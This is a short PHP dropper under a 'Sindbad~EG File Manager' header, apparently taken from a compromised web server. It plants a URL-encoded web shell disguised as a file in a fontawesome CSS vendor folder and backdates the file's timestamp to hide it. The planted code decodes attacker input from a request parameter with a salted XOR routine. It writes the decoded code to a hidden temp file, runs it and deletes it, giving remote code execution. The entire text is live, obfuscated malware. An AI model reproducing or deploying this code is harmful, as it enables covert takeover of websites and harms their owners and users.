Sindbad~EG File Manager

<?php   $p = "/var/www/html/performance.sumar.com.py/public/vendor/fontawesome-free/css/thumbs.blocks.php"; $c = rawurldecode('%3C%3Fphp%0A%0Aif%28in_array%28%22k%22%2C%20array_keys%28%24_REQUEST%29%29%29%7B%0A%09%24res%20%3D%20%24_REQUEST%5B%22k%22%5D%3B%0A%09%20%09%24res%20%09%3Dexplode%20%09%28%09%09%09%22.%22%2C%24res%09%20%20%29%09%20%3B%0A%09%24val%20%09%3D%27%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24salt%20%09%3D%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24sLen%20%09%3Dstrlen%28%09%09%24salt%09%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24x%20%09%3D0%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20while%28%09%09%24x%20%09%3C%09count%28%09%09%24res%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24v7%20%09%3D%24res%5B%24x%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24chS%20%09%3Dord%28%09%09%24salt%5B%24x%09%25%20%24sLen%5D%09%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24dec%20%09%3D%28%09%09%28%09%09int%29%24v7%20-%20%24chS%20-%28%09%09%24x%09%25%2010%29%29%20%5E%2083%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24val%09.%3D%09%20chr%28%09%09%24dec%09%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24x%2B%2B%3B%09%7D%09%0A%09%24flg%20%3D%20array_filter%28%5Bsession_save_path%28%29%2C%20sys_get_temp_dir%28%29%2C%20%22/tmp%22%2C%20getcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/dev/shm%22%2C%20%22/var/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20getenv%28%22TMP%22%29%5D%29%3B%0A%09foreach%20%28%24flg%20as%20%24record%29%3A%0A%20%20%20%20%09%09if%20%28%21%21is_dir%28%24record%29%20%26%26%20%21%21is_writable%28%24record%29%29%20%7B%0A%20%20%20%20%24mrk%20%3D%20join%28%22/%22%2C%20%5B%24record%2C%20%22.sym%22%5D%29%3B%0A%20%20%20%20%24success%20%3D%20file_put_contents%28%24mrk%2C%20%24val%29%3B%0Aif%20%28%24success%29%20%7B%0A%09include%20%24mrk%3B%0A%09%40unlink%28%24mrk%29%3B%0A%09exit%3B%7D%0A%7D%0Aendforeach%3B%0A%7D'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1718919000); } die('!ended!');